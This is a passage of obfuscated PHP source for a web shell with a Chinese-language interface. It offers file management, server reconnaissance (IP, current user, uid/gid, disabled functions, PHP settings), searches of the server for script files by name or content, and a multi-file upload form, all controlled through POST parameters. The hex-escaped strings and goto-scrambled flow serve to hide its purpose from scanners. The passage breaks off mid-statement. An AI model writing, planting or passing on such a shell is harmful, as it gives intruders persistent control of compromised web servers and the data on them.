str_replace("\173\163\150\157\167\150\164\x6d\x6c\x7d", '', $QSO8f); goto HqDit; a8Ami: $QSO8f = str_replace("\173\143\x6f\156\x74\145\x6e\164\175", $this->getContent(), $QSO8f); goto iNQqS; HqDit: $QSO8f = str_replace("\x7b\126\x45\122\x53\111\117\116\x7d", $this->getVersion(), $QSO8f); goto C3VR1; QJNpW: $QSO8f = str_replace("\173\x74\141\x67\x7d", $this->EOt_6(), $QSO8f); goto W0cas; fLw9P: } public function getVersion() { return "\xe6\xa2\246\346\x83\xb3\xe6\x88\x90\xe5\xb0\xb1\346\x9c\252\xe6\x9d\245"; } public function NP5Yk() { return "\347\x89\x88\xe6\x9c\xac\357\xbc\x9a\x44\115\x2e" . NMW2Y . "\40\x7c\x20\111\120\357\xbc\x9a" . ($_SERVER["\x53\x45\x52\126\x45\122\137\x41\104\104\122"] ? $_SERVER["\x53\x45\x52\x56\x45\x52\x5f\101\104\x44\x52"] . PHP_EOL : gethostbyname($_SERVER["\x53\105\x52\x56\105\122\137\116\x41\x4d\105"])) . "\40\x7c\x20\167\x68\x6f\x61\x6d\x69\x28" . get_current_user() . "\51\40\x7c\343\200\x90\165\x69\144\50" . getmyuid() . "\51\40\x67\151\x64\50" . getmygid() . "\51\xe3\200\221" . "\40\x7c\xe3\200\x90" . date("\x59\x2d\x6d\x2d\144\40\x48\x3a\x69\x3a\x73\40\346\230\237\xe6\x9c\237\x4e", time()) . "\343\200\x91"; } public function Eot_6() { goto Vxj9T; Vxj9T: $oPhqF = array("\x66\x69\x6c\x65" => "\xe6\226\207\xe4\273\266\347\xae\xa1\347\x90\x86", "\x73\143\x61\156" => "\346\220\x9c\xe7\xb4\xa2\346\x96\207\xe4\xbb\xb6", "\151\156\146\157" => "\347\263\273\xe7\xbb\x9f\xe4\xbf\xa1\346\201\257"); goto r0sjz; r0sjz: $JqKaG = !empty($_POST["\x67\157"]) && array_key_exists($_POST["\x67\x6f"], $oPhqF) ? $_POST["\x67\x6f"] : "\x66\151\x6c\145"; goto weFsf; vpSP8: return $QSO8f; goto GXxUM; iVZ1C: foreach ($oPhqF as $iW8f4 => $Kes_q) { $QSO8f .= "\x3c\x61" . ($JqKaG == $iW8f4 ? "\x20\x63\154\141\163\163\x3d\42\x63\x75\x72\162\x65\156\164\x22" : '') . "\x20\150\x72\145\146\x3d\x22\152\x61\x76\x61\x73\x63\162\151\160\164\x3a\x67\x6f\50\x27" . $iW8f4 . "\47\x2c\x27" . base64_encode($Jzwra) . "\47\51\73\x22\76" . $Kes_q . "\74\57\x61\x3e\x20"; lpzuu: } goto faDAO; faDAO: BO10u: goto vpSP8; Vf5Lf: $QSO8f = ''; goto iVZ1C; weFsf: $Jzwra = $this->ddguj; goto Vf5Lf; GXxUM: } public function getContent() { goto acDW7; JKWe6: LTYxy: goto Jz3tE; e3OVL: YLG5q: goto JKWe6; acDW7: $JqKaG = isset($_POST["\x67\157"]) ? $_POST["\147\157"] : ''; goto fh_E1; fh_E1: switch ($JqKaG) { case "\x69\156\146\157": return $this->jaT27(); goto LTYxy; case "\x73\143\141\156": return $this->IkQbc(); goto LTYxy; case "\165\x70\x66\x69\154\145\163": return $this->HVVWe(); goto LTYxy; case "\x65\x64\x69\x74": case "\145\144\151\x74\x6f\162": return $this->I7u03(); goto LTYxy; default: return $this->j0i1z(); goto LTYxy; } goto e3OVL; Jz3tE: } public function jAT27() { goto C0eXN; RSCx4: oQWiY: goto ZqfN9; EzXxX: phpinfo(INFO_GENERAL); goto tCUfU; LjgRh: preg_match_all("\57\x5c\x3c\x74\x64\40\x63\x6c\141\x73\163\x5c\x3d\134\42\145\134\x22\134\76\x2e\x2a\x3f\x28\103\157\155\155\141\156\x64\x7c\103\157\156\x66\151\147\165\162\x61\x74\x69\x6f\x6e\x29\x2b\x2e\x2a\x3f\x5c\x3c\x5c\x2f\x74\144\134\76\134\74\164\x64\40\x63\154\x61\163\163\134\75\x5c\42\166\134\x22\x5c\x3e\50\56\52\77\51\134\x3c\x5c\57\164\x64\x5c\76\x2f\x69", $QjGuH, $eMzvo); goto B0t2Y; C0eXN: $UgLz_ = ''; goto auWwB; Y4EWU: $QSO8f .= "\74\x64\x69\x76\40\x63\154\141\163\x73\75\42\155\x73\147\142\x6f\170\42\x3e" . $UgLz_ . "\74\x2f\144\x69\166\x3e"; goto uddsJ; SZWNl: $eMzvo = array(); goto LjgRh; G5mPU: foreach ($Tns_w as $Kes_q => $KPtbK) { $QSO8f .= "\74\164\x72\x3e\74\164\144\x3e" . $Kes_q . "\x3c\57\164\144\x3e\x3c\x74\x64\x3e" . $KPtbK . "\x3c\57\x74\144\76\x3c\57\x74\162\x3e"; PmRW_: } goto mWeb3; ZqfN9: $Tns_w = array("\xe5\xae\xa2\xe6\x88\xb7\347\253\257\xe6\265\217\xe8\xa7\x88\xe5\231\250\344\277\241\346\x81\257" => $_SERVER["\x48\124\124\x50\x5f\x55\123\x45\x52\x5f\101\x47\105\x4e\124"], "\350\242\xab\xe7\246\x81\347\x94\xa8\xe7\232\204\xe5\x87\275\346\225\260" => get_cfg_var("\x64\151\x73\141\x62\x6c\x65\x5f\146\x75\x6e\x63\164\151\x6f\x6e\x73") ? get_cfg_var("\x64\x69\x73\x61\x62\154\x65\137\146\x75\156\x63\x74\151\157\x6e\x73") : "\x28\346\227\240\x29", "\350\xa2\253\347\246\201\347\x94\xa8\347\x9a\204\xe7\261\xbb" => get_cfg_var("\x64\x69\x73\x61\142\154\145\x5f\x63\154\141\x73\163\x65\163") ? get_cfg_var("\x64\151\x73\141\x62\154\x65\137\143\x6c\x61\163\163\145\x73") : "\x28\xe6\227\xa0\51", "\x50\x48\120\x2e\x69\156\x69\351\205\x8d\xe7\275\xae\350\267\xaf\xe5\xbe\x84" => $krJKZ ? $krJKZ : "\50\xe6\227\xa0\x29", "\120\110\x50\350\277\x90\xe8\241\214\346\226\271\345\274\x8f" => php_sapi_name(), "\120\x48\x50\347\x89\x88\xe6\234\xac" => PHP_VERSION, "\120\x48\120\xe8\xbf\x9b\xe7\xa8\213\x50\x49\x44" => getmypid(), "\345\256\242\346\x88\267\347\xab\257\111\x50" => $_SERVER["\x52\x45\115\117\x54\105\137\x41\x44\x44\x52"], "\xe5\xae\xa2\xe6\x88\xb7\xe7\xab\xaf\xe6\226\207\xe5\255\x97\347\274\226\xe7\240\x81" => $_SERVER["\x48\124\124\120\137\101\x43\103\105\x50\x54\137\x4c\101\116\107\x55\101\x47\105"], "\x57\145\142\346\x9c\x8d\xe5\212\241\347\253\xaf\xe5\x8f\243" => $_SERVER["\x53\105\122\x56\105\122\x5f\120\x4f\122\124"], "\x57\145\x62\xe6\xa0\xb9\347\x9b\256\345\xbd\x95" => $_SERVER["\x44\x4f\x43\x55\115\105\116\x54\x5f\122\x4f\x4f\x54"], "\x57\145\142\xe6\x89\xa7\xe8\xa1\214\350\204\x9a\346\234\254" => $_SERVER["\123\103\x52\x49\120\124\x5f\106\x49\x4c\105\116\x41\x4d\x45"], "\127\x65\x62\350\xa7\x84\xe8\x8c\x83\103\107\111\xe7\x89\x88\346\234\254" => $_SERVER["\x47\x41\124\x45\x57\x41\131\x5f\x49\x4e\x54\x45\122\106\x41\x43\105"], "\x57\145\142\xe7\256\241\347\220\x86\345\221\230\x45\x6d\x61\151\154" => !empty($_SERVER["\x53\105\122\x56\x45\x52\137\x41\x44\115\x49\116"]) ? $_SERVER["\x53\x45\122\x56\105\x52\x5f\101\104\x4d\x49\116"] : "\x28\346\x97\xa0\x29", "\345\275\223\345\211\x8d\347\243\201\347\x9b\230\346\x80\273\xe5\xa4\247\xe5\xb0\x8f" => iDYFr(disk_total_space("\56")), "\345\275\223\345\x89\x8d\347\243\x81\xe7\233\x98\345\217\257\347\x94\250\347\251\xba\xe9\x97\264" => iDyfr(disk_free_space("\x2e")), "\120\117\x53\x54\xe6\x9c\200\xe5\244\247\345\xad\227\346\x95\xb0\351\x87\217" => get_cfg_var("\160\x6f\163\x74\x5f\x6d\141\x78\x5f\163\x69\172\145"), "\345\205\201\xe8\xae\270\346\234\x80\345\xa4\247\344\xb8\212\344\274\240\346\x96\207\xe4\273\xb6" => get_cfg_var("\x75\x70\154\x6f\141\144\x5f\155\x61\x78\x5f\146\x69\x6c\145\x73\x69\172\x65"), "\xe7\250\213\xe5\272\217\346\x9c\x80\345\xa4\xa7\344\xbd\xbf\347\x94\xa8\345\x86\205\345\xad\230\351\207\217" => get_cfg_var("\x6d\145\155\157\162\x79\x5f\x6c\x69\155\151\x74"), "\347\xa8\x8b\345\272\x8f\346\x9c\200\xe9\x95\xbf\350\xbf\x90\350\241\214\xe6\x97\xb6\xe9\227\xb4" => get_cfg_var("\155\x61\170\x5f\x65\x78\x65\x63\x75\x74\151\x6f\x6e\x5f\164\151\x6d\145") . "\347\xa7\222", "\xe6\x98\xaf\345\220\xa6\346\x94\xaf\346\214\x81\106\163\157\143\x6b\157\x70\x65\x6e" => function_exists("\146\x73\157\x63\153\157\x70\x65\156") ? "\xe6\230\257" : "\345\x90\xa6", "\346\x98\xaf\xe5\220\246\xe6\224\257\346\x8c\201\x53\x6f\x63\x6b\145\164" => function_exists("\x75\x6a\107\x44\x79") ? "\xe6\230\xaf" : "\xe5\x90\xa6", "\xe6\x98\257\345\x90\246\346\x94\xaf\346\214\201\120\x63\156\164\154" => function_exists("\x54\62\122\142\125") ? "\xe6\230\xaf" : "\345\220\xa6", "\346\x98\257\xe5\220\246\xe6\x94\257\346\x8c\x81\x43\165\162\154" => function_exists("\x63\x75\x72\x6c\137\166\x65\x72\x73\x69\157\x6e") ? "\xe6\230\257" : "\345\x90\xa6", "\xe6\230\xaf\345\x90\246\346\x94\257\xe6\214\x81\x5a\x6c\151\142" => function_exists("\x67\x7a\143\154\157\x73\x65") ? "\xe6\230\257" : "\xe5\220\246", "\xe6\x98\257\345\220\246\346\224\xaf\346\x8c\201\x46\x54\x50" => function_exists("\102\144\66\107\66") ? "\346\230\257" : "\345\x90\xa6", "\xe6\x98\xaf\xe5\x90\246\346\x94\257\346\214\x81\130\115\x4c" => function_exists("\x78\155\x6c\x5f\163\145\164\x5f\x6f\x62\x6a\145\143\164") ? "\xe6\x98\257" : "\345\x90\246", "\xe6\230\257\345\220\xa6\xe6\224\257\xe6\x8c\x81\107\104\x5f\114\151\142\x72\141\x72\171" => function_exists("\x4d\64\x77\154\x47") ? "\346\x98\xaf" : "\xe5\220\246", "\346\x98\xaf\345\220\246\xe6\x94\257\xe6\x8c\201\103\x4f\x4d\347\273\204\345\273\272" => class_exists("\103\x4f\115") ? "\xe6\x98\xaf" : "\345\x90\246", "\xe6\230\257\345\x90\246\xe6\224\257\346\214\201\x4f\x44\x42\x43\xe7\273\204\345\xbb\272" => function_exists("\x63\60\x5a\145\124") ? "\xe6\230\xaf" : "\xe5\220\246", "\xe6\230\257\345\x90\xa6\xe6\224\xaf\346\x8c\201\x49\115\x41\x50\xe9\202\256\344\xbb\266" => function_exists("\103\x4c\102\x6a\120") ? "\346\230\xaf" : "\xe5\220\246", "\xe6\x98\xaf\xe5\x90\246\xe8\277\x90\xe8\241\214\344\xba\x8e\xe5\256\x89\345\x85\xa8\xe6\250\xa1\345\xbc\217" => get_cfg_var("\163\x61\146\145\x6d\157\x64\x65") ? "\346\x98\xaf" : "\345\x90\246", "\346\x98\xaf\xe5\220\xa6\345\x85\x81\xe8\256\xb8\x55\122\114\346\211\223\xe5\xbc\200\xe6\x96\207\xe4\xbb\xb6" => get_cfg_var("\x61\154\x6c\157\167\137\165\x72\154\137\x66\157\x70\x65\x6e") ? "\xe6\230\257" : "\xe5\220\246", "\xe6\230\257\xe5\220\xa6\xe5\205\201\350\xae\270\xe5\x8a\xa8\xe6\200\201\345\x8a\240\xe8\xbd\xbd\xe9\x93\xbe\xe6\216\245\xe5\xba\223" => get_cfg_var("\x65\156\x61\x62\154\x65\137\x64\154") ? "\xe6\230\xaf" : "\345\220\xa6", "\xe6\x98\257\xe5\x90\246\xe6\230\276\xe7\244\xba\351\224\231\350\xaf\xaf\344\277\241\346\201\xaf" => get_cfg_var("\144\151\x73\160\154\141\171\137\145\x72\162\x6f\162\x73") ? "\346\x98\257" : "\xe5\220\246", "\346\x98\257\xe5\x90\xa6\350\x87\xaa\xe5\x8a\xa8\346\xb3\xa8\xe5\206\x8c\345\x85\250\345\261\x80\xe5\217\x98\xe9\x87\217" => get_cfg_var("\x72\x65\147\x69\x73\x74\x65\162\137\147\154\x6f\x62\x61\154\163") ? "\346\230\257" : "\xe5\220\246", "\xe6\230\257\xe5\x90\246\xe4\275\277\xe7\224\250\345\217\215\xe6\x96\234\347\xba\xbf\345\xbc\x95\xe7\x94\250\xe5\xad\x97\347\254\246\xe4\xb8\xb2" => get_cfg_var("\155\141\x67\151\143\137\161\165\157\164\145\x73\137\147\x70\x63") ? "\xe6\x98\xaf" : "\xe5\x90\246", "\120\x48\120\xe7\xbc\x96\350\xaf\x91\345\x8f\202\346\225\xb0" => $jZi_a ? $jZi_a : "\50\xe6\x97\xa0\51"); goto Y4EWU; OSSHw: if (!true) { goto oQWiY; } goto nGj7S; nGj7S: ob_start(); goto EzXxX; B0t2Y: $jZi_a = $eMzvo[2][0]; goto XAmXI; tCUfU: $QjGuH = ob_get_contents(); goto M2w40; M2w40: ob_end_clean(); goto SZWNl; mWOB_: $QSO8f .= "\74\57\164\141\142\x6c\x65\x3e"; goto qkDBF; mWeb3: onv7n: goto mWOB_; auWwB: $QSO8f = ''; goto OSSHw; qkDBF: return $QSO8f; goto sbRy8; uddsJ: $QSO8f .= "\x3c\164\141\142\x6c\x65\40\143\x6c\x61\163\x73\x3d\x22\164\141\x62\154\x65\x73\42\x3e\x3c\164\x72\x3e\74\x74\150\40\x73\x74\x79\154\145\x3d\42\x77\x69\x64\164\150\x3a\x32\x36\45\x3b\x22\x3e\xe5\x90\x8d\347\247\xb0\x3c\x2f\x74\x68\76\74\x74\x68\76\xe5\x8f\202\xe6\x95\260\x3c\57\x74\x68\76\74\57\164\x72\x3e"; goto G5mPU; XAmXI: $krJKZ = $eMzvo[2][2] ? $eMzvo[2][1] . "\x20\55\55\x2d\x20" . $eMzvo[2][2] : $eMzvo[2][1]; goto RSCx4; sbRy8: } public function ikqBc() { goto dIRhy; b_iIC: $UlicF = empty($_POST["\144\151\162"]) ? base64_decode($_POST["\147\157\x76\x61\162"]) : $Jzwra; goto CmCLe; miP2r: $UgLz_ = ''; goto b_iIC; ctKqj: $QSO8f .= "\x3c\x69\156\160\x75\164\x20\x74\x79\160\145\x3d\x22\150\x69\144\x64\145\156\42\x20\156\141\x6d\145\x3d\42\x67\157\42\40\151\x64\x3d\x22\147\157\x22\x20\x76\141\154\x75\145\x3d\x22\x73\x63\x61\156\x22\76"; goto cL8FT; dIRhy: $Jzwra = $this->ddguj; goto miP2r; ivGNp: return $QSO8f; goto hH9Zf; Tybdn: $QSO8f .= "\74\164\x72\x3e\74\164\x64\76\346\223\215\xe4\xbd\234\x3c\x2f\x74\x64\76\74\164\144\76\x3c\151\x6e\160\x75\164\x20\x74\x79\x70\x65\x3d\42\x73\x75\142\155\x69\164\42\40\163\164\x79\x6c\x65\x3d\x22\x77\151\x64\x74\x68\x3a\x38\60\x70\x78\x3b\x22\40\x76\x61\x6c\165\145\75\x22\346\220\234\347\264\242\42\x3e\x3c\x2f\x74\144\x3e\74\x2f\164\x72\x3e"; goto uG5Hf; C_hey: $t6SOR = $qGL_P == '' ? false : explode("\x7c", $qGL_P); goto NGwBK; uG5Hf: $QSO8f .= "\x3c\57\x74\x61\x62\154\145\76\74\57\146\157\x72\x6d\76"; goto sXUxU; SH6YO: $QSO8f .= "\x3c\x6c\141\x62\145\x6c\x3e\74\151\x6e\x70\165\164\40\164\171\x70\145\75\x22\162\141\x64\x69\157\42\x20\x6e\x61\x6d\145\x3d\42\164\171\x70\x65\x22\x20\x76\x61\154\165\145\x3d\42\x31\x22" . (!empty($_POST["\164\171\x70\145"]) ? "\40\143\x68\145\x63\153\x65\144" : '') . "\x3e\346\220\x9c\xe7\xb4\xa2\xe5\x8c\205\345\220\253\346\x96\207\xe5\255\227\74\57\x6c\141\142\145\154\x3e\x20"; goto zTQOZ; LP8pC: $QSO8f .= "\74\x66\157\x72\x6d\40\x6d\x65\164\150\x6f\x64\x3d\42\120\117\123\x54\x22\76"; goto Uhzu_; F0JV3: fmzf0: goto ivGNp; zTQOZ: $QSO8f .= "\74\154\141\142\x65\x6c\76\74\x69\156\x70\x75\x74\x20\164\x79\160\145\75\42\x63\x68\x65\x63\153\142\x6f\x78\x22\40\156\141\x6d\x65\x3d\42\x63\x68\x61\162\42\x20\166\141\x6c\x75\x65\x3d\x22\x31\42" . (!empty($_POST["\143\150\x61\x72"]) ? "\40\x63\x68\x65\143\153\145\x64" : '') . "\x3e\xe5\x8c\xb9\xe9\x85\x8d\345\244\247\xe5\xb0\x8f\xe5\x86\x99\74\57\154\x61\x62\x65\154\76\74\57\164\144\x3e\x3c\x2f\x74\x72\x3e"; goto gsQAR; CmCLe: $xsz7E = isset($_POST["\x6b\x65\171\167\x6f\162\144"]) ? $_POST["\x6b\145\171\167\x6f\x72\x64"] : ''; goto YW9yU; hlSXm: $QSO8f .= "\74\x74\162\x3e\74\164\x64\x3e\xe6\220\234\347\xb4\242\xe6\x96\xb9\345\xbc\x8f\x3c\x2f\x74\x64\x3e\74\x74\x64\x3e\x3c\154\141\142\x65\x6c\x3e\x3c\x69\156\160\165\x74\40\164\171\x70\145\x3d\42\x72\141\x64\151\x6f\42\x20\156\141\x6d\145\x3d\x22\x74\x79\160\x65\42\x20\166\141\154\165\145\75\x22\x30\x22" . (!empty($_POST["\x74\x79\x70\x65"]) ? '' : "\40\x63\x68\145\x63\153\145\x64") . "\76\346\x90\x9c\347\xb4\xa2\346\x96\207\344\273\xb6\xe5\220\x8d\x3c\57\154\x61\x62\x65\154\x3e\x20"; goto SH6YO; upJPB: $QSO8f .= "\x3c\x6c\141\x62\x65\154\76\74\151\x6e\x70\x75\164\x20\164\x79\x70\145\x3d\x22\x72\141\x64\x69\x6f\42\40\156\x61\155\145\75\42\162\141\156\147\145\42\40\x76\x61\x6c\165\x65\x3d\42\x31\x22" . (!empty($_POST["\x72\x61\156\147\145"]) ? "\x20\143\x68\145\x63\153\x65\144" : '') . "\x3e\xe4\273\x85\xe5\260\x86\346\220\x9c\347\xb4\242\xe5\272\x94\xe7\x94\250\xe4\xba\x8e\350\xaf\245\xe6\226\207\344\273\266\xe5\244\xb9\74\x2f\x6c\141\x62\145\x6c\76\x3c\57\x74\144\76\x3c\57\x74\x72\76"; goto Tybdn; cL8FT: $QSO8f .= "\74\164\x61\142\154\145\40\143\154\x61\163\x73\75\x22\164\x61\x62\x6c\145\x73\x22\76\74\x74\x72\76\74\164\150\x20\163\164\x79\154\x65\75\x22\167\151\x64\x74\150\72\61\65\45\x3b\42\x3e\345\220\215\xe7\xa7\xb0\74\57\x74\x68\76\74\x74\x68\x3e\xe8\xae\xbe\xe7\275\xae\x3c\57\164\x68\76\74\x2f\x74\x72\76"; goto RVih5; XIzFY: flush(); goto vJ349; sXUxU: if (!($xsz7E != '')) { goto fmzf0; } goto XIzFY; XSyux: $QSO8f .= $E56um; goto wqSLo; HwwfW: $kKCOC = isset($_POST["\x66\151\x6c\164\x65\162\163"]) ? chop($_POST["\x66\151\x6c\164\x65\x72\163"]) : "\x68\164\155\154\x7c\x63\x73\x73\x7c\151\155\147\174\151\155\141\147\x65\x73\x7c\x69\x6d\x61\147\145\x7c\x73\x74\171\154\145\174\152\163"; goto tznP0; Uhzu_: $QSO8f .= axTtq(); goto ctKqj; gsQAR: $QSO8f .= "\74\x74\x72\76\74\164\x64\x3e\xe6\220\234\xe7\xb4\242\350\214\203\xe5\x9b\xb4\74\57\164\144\x3e\74\x74\144\x3e\x3c\154\x61\142\x65\x6c\76\74\151\156\x70\165\164\40\164\171\x70\145\x3d\x22\x72\141\x64\151\x6f\42\x20\x6e\141\155\x65\x3d\x22\x72\x61\156\147\145\42\40\x76\141\154\165\145\x3d\42\x30\42" . (!empty($_POST["\x72\141\x6e\x67\145"]) ? '' : "\40\143\x68\145\x63\153\x65\x64") . "\76\345\xb0\206\xe6\x90\x9c\347\xb4\242\345\xba\224\xe7\224\250\344\xba\216\350\xaf\xa5\xe6\226\207\344\273\xb6\345\xa4\271\x2c\xe5\xad\220\xe6\x96\207\344\273\xb6\345\244\xb9\345\222\x8c\xe6\x96\207\344\273\xb6\x3c\x2f\154\141\x62\145\154\x3e\x20"; goto upJPB; YW9yU: $qGL_P = isset($_POST["\151\156\x63\154\165\x64\x65"]) ? chop($_POST["\151\x6e\x63\x6c\x75\144\x65"]) : "\x2e\x70\x68\160\x7c\56\x61\x73\160\x7c\56\141\x73\141\x7c\56\143\145\x72\x7c\56\x61\163\x70\170\x7c\x2e\x6a\x73\x70\x7c\x2e\143\x67\x69\174\56\x73\150\x7c\x2e\160\154\174\x2e\160\171"; goto HwwfW; e00KY: $E56um = DqR9r(pBm07($UlicF . "\x2f"), $xsz7E, $t6SOR, $x98RS, !empty($_POST["\164\x79\160\145"]) ? $_POST["\x74\171\160\145"] : '', !empty($_POST["\x63\x68\141\x72"]) ? $_POST["\x63\150\x61\x72"] : '', !empty($_POST["\x72\141\156\147\145"]) ? $_POST["\162\x61\156\x67\x65"] : '', $Jzwra); goto XSyux; NGwBK: $x98RS = $kKCOC == '' ? false : explode("\174", $kKCOC); goto e00KY; x8cyv: $QSO8f .= "\x3c\164\162\x3e\74\164\144\x3e\xe6\x96\x87\xe4\273\266\345\x90\x8e\347\274\200\74\57\x74\144\x3e\x3c\164\144\76\74\151\x6e\160\165\x74\40\164\x79\160\x65\75\42\164\x65\x78\x74\42\x20\156\141\x6d\145\x3d\x22\151\156\143\154\x75\144\145\42\40\166\141\x6c\x75\x65\x3d\42" . htmlspecialchars($qGL_P) . "\42\x20\x73\x74\171\x6c\x65\x3d\42\x77\x69\x64\164\x68\72\x35\x30\60\x70\x78\73\x22\76\x20\50\347\x94\xa8\42\174\42\xe5\210\x86\xe5\211\xb2\54\x20\xe4\xb8\xba\347\251\272\345\x88\231\346\220\x9c\xe7\264\242\346\211\200\xe6\x9c\211\346\226\207\xe4\273\266\x29\74\57\x74\144\76\x3c\x2f\x74\x72\x3e"; goto gPacK; zBpAU: $QSO8f .= "\74\x74\162\76\x3c\164\x64\76\xe6\x90\x9c\xe7\xb4\xa2\xe5\x86\205\xe5\xae\271\74\x2f\164\x64\x3e\x3c\x74\x64\76\74\151\x6e\160\165\164\40\x74\171\160\145\x3d\x22\x74\x65\170\x74\42\40\x6e\x61\155\x65\75\x22\x6b\145\171\167\x6f\x72\144\x22\40\x76\x61\154\165\x65\75\x22" . htmlspecialchars($xsz7E) . "\x22\x20\163\x74\x79\154\145\75\x22\x77\x69\x64\164\x68\x3a\x35\x30\x30\x70\170\x3b\42\76\x20\50\xe6\226\207\344\xbb\266\xe5\220\x8d\xe6\x88\x96\xe6\226\207\xe4\xbb\xb6\345\206\205\xe5\256\271\x29\74\x2f\x74\144\x3e\x3c\x2f\x74\162\76"; goto x8cyv; gPacK: $QSO8f .= "\x3c\x74\x72\x3e\x3c\x74\144\76\xe8\277\207\346\xbb\xa4\xe7\x9b\xae\345\275\225\74\x2f\x74\x64\76\74\164\144\x3e\x3c\151\x6e\160\x75\x74\40\x74\x79\x70\x65\x3d\x22\164\x65\170\x74\42\x20\x6e\x61\155\145\x3d\x22\146\151\154\x74\145\162\x73\42\40\x76\141\x6c\165\x65\75\42" . htmlspecialchars($kKCOC) . "\x22\x20\x73\164\171\x6c\x65\x3d\42\x77\x69\144\164\x68\72\x35\60\60\160\x78\x3b\x22\76\x20\x28\xe7\x94\250\x22\x7c\x22\xe5\x88\206\345\211\262\x2c\40\xe4\xb8\xba\347\251\272\xe5\210\231\344\270\215\xe8\277\x87\346\273\244\347\x9b\xae\345\275\x95\x29\x3c\x2f\164\144\76\74\x2f\x74\x72\76"; goto hlSXm; tznP0: $QSO8f = ''; goto nDkSv; vJ349: ob_flush(); goto RdvzG; wqSLo: $QSO8f .= "\x3c\160\76" . ($E56um ? "\x3c\x68\62\76\346\220\x9c\347\264\242\345\xae\x8c\346\x88\x90\x3c\x2f\x68\x32\76" : "\x3c\150\61\76\346\220\234\347\264\xa2\xe5\xa4\xb1\350\264\xa5\74\57\150\61\76") . "\74\57\x70\76\x3c\57\144\151\x76\x3e"; goto F0JV3; RVih5: $QSO8f .= "\74\x74\x72\x3e\74\x74\x64\x3e\xe6\x90\x9c\347\264\242\xe8\xb7\257\345\276\x84\x3c\57\164\x64\76\74\164\144\x3e\74\x69\156\160\165\164\40\x74\x79\160\x65\75\42\164\145\x78\x74\x22\40\x6e\x61\x6d\145\75\x22\144\x69\162\42\x20\x76\141\x6c\x75\145\x3d\42" . htmlspecialchars($UlicF) . "\42\40\x73\164\x79\x6c\x65\x3d\42\167\151\x64\x74\x68\72\65\60\x30\160\x78\73\42\x3e\x3c\57\164\144\76\74\x2f\x74\162\76"; goto zBpAU; nDkSv: $QSO8f .= "\74\144\x69\166\40\143\x6c\141\163\163\75\42\x6d\163\147\x62\157\170\x22\76" . $UgLz_ . "\74\57\x64\x69\x76\x3e"; goto LP8pC; RdvzG: $QSO8f .= "\x3c\144\x69\166\40\x73\164\171\x6c\x65\75\42\x70\x61\144\144\x69\x6e\x67\72\x35\160\170\73\x62\x61\x63\153\x67\x72\157\165\156\x64\72\x23\x46\x38\x46\70\106\70\73\164\145\x78\164\x2d\141\x6c\x69\147\x6e\72\x6c\x65\x66\x74\73\x22\76"; goto C_hey; hH9Zf: } public function hvVWe() { goto fJ2DO; RECHO: $J3Hov = PBm07($trx7n . "\57" . $QY5ao); goto wr6pf; B3CAd: $QSO8f .= "\x3c\x64\151\x76\x20\143\154\141\163\x73\75\x22\x61\143\164\x61\x6c\154\x22\x3e\x3c\x70\76\344\xb8\212\xe4\xbc\240\xe5\210\xb0\347\x9b\256\xe5\xbd\x95\x20\x3c\x69\156\x70\165\164\x20\x74\x79\160\x65\x3d\x22\x74\x65\170\x74\x22\40\x6e\x61\155\145\x3d\42\x75\160\144\151\162\x22\x20\x73\x74\171\x6c\145\75\x22\x77\x69\144\164\x68\x3a\x33\x39\70\160\170\x3b\x22\40\166\141\154\x75\145\75\x22" . $trx7n . "\42\76\x3c\x2f\160\x3e"; goto TBA7G; vse0Y: if (!($TQlLa["\145\x72\162\157\162"][$uLtTd] == UPLOAD_ERR_OK)) { goto FU5ue; } goto u7gTA; enueA: if (!($uLtTd < $yklRt)) { goto wwIAd; } goto vse0Y; jcnXM: $uLtTd = 1; goto IgWT5; TBA7G: $uLtTd = 1; goto P8qVx; gIpa8: $yklRt = 10; goto H5wUw; pLhx1: goto pwGfS; goto aJUaD; mf9rn: if (!($uLtTd < $yklRt)) { goto FNHrm; } goto x0Vy0; x0Vy0: $QSO8f .= "\x3c\x70\76\xe9\x99\x84\344\273\266" . $uLtTd . "\40\x3c\x69\x6e\160\x75\x74\40\164\x79\160\145\75\42\x66\x69\x6c\x65\42\40\156\x61\x6d\x65\x3d\42\165\x70\x6c\x6f\x61\144\x73\x5b" . $uLtTd . "\x5d\x22\40\163\164\171\x6c\x65\x3d\42\167\151\144\x74\x68\72\x33\x30\x30\x70\x78\x3b\42\x3e\40\xe9\207\215\xe5\x91\xbd\345\220\215\x20\x3c\x69\x6e\x70\x75\164\x20\x74\x79\160\145\75\x22\164\x65\x78\164\x22\x20\156\141\x6d\x65\75\42\x72\145\156\x61\155\145\163\133" . $uLtTd . "\135\x22\x20\x73\164\171\154\x65\x3d\x22\167\151\x64\x74\150\x3a\61\62\70\160\170\x3b\x22\76\x20" . (!empty($JGN3j[$uLtTd]) ? $JGN3j[$uLtTd] : '') . "\74\x2f\160\76"; goto RsoeS; ClKFN: $uLtTd++; goto pLhx1; nyUBs: goto pkbi0; goto Y96J2; SY5Nt: if (!(isset($_FILES["\x75\160\154\x6f\x61\x64\163"]) && isset($_POST["\162\145\156\141\x6d\x65\x73"]))) { goto nTKe_; } goto lY4YR; CHT2Q: $QSO8f .= AXTTQ(); goto D2I4_; Lobov: $QSO8f .= "\x3c\144\151\166\40\x63\x6c\141\163\x73\75\x22\x6d\163\x67\142\157\x78\x22\x3e" . $UgLz_ . "\x3c\x2f\x64\x69\166\x3e"; goto MB1IE; dqRs9: $QSO8f = ''; goto Lobov; HyXyN: $QSO8f .= "\74\146\157\x72\x6d\x20\x6e\x61\x6d\145\75\42\142\x61\x63\153\x66\162\155\42\40\x69\144\75\x22\x62\x61\143\x6b\x66\162\155\42\40\155\145\164\150\x6f\144\x3d\42\x50\117\123\124\x22\76\74\x69\x6e\160\165\164\40\164\x79\160\x65\75\x22\x68\x69\144\x64\145\156\x22\40\156\141\x6d\x65\75\x22\147\157\42\40\x76\x61\154\165\145\75\42\x22\76\74\151\x6e\x70\x75\x74\40\164\x79\160\145\x3d\42\x68\x69\144\144\x65\156\x22\40\156\x61\x6d\x65\x3d\42\144\151\162\x22\x20\151\144\75\42\x64\x69\x72\42\40\166\141\x6c\165\145\75\42" . $trx7n . "\x22\x3e"; goto CHT2Q; D2I4_: $QSO8f .= 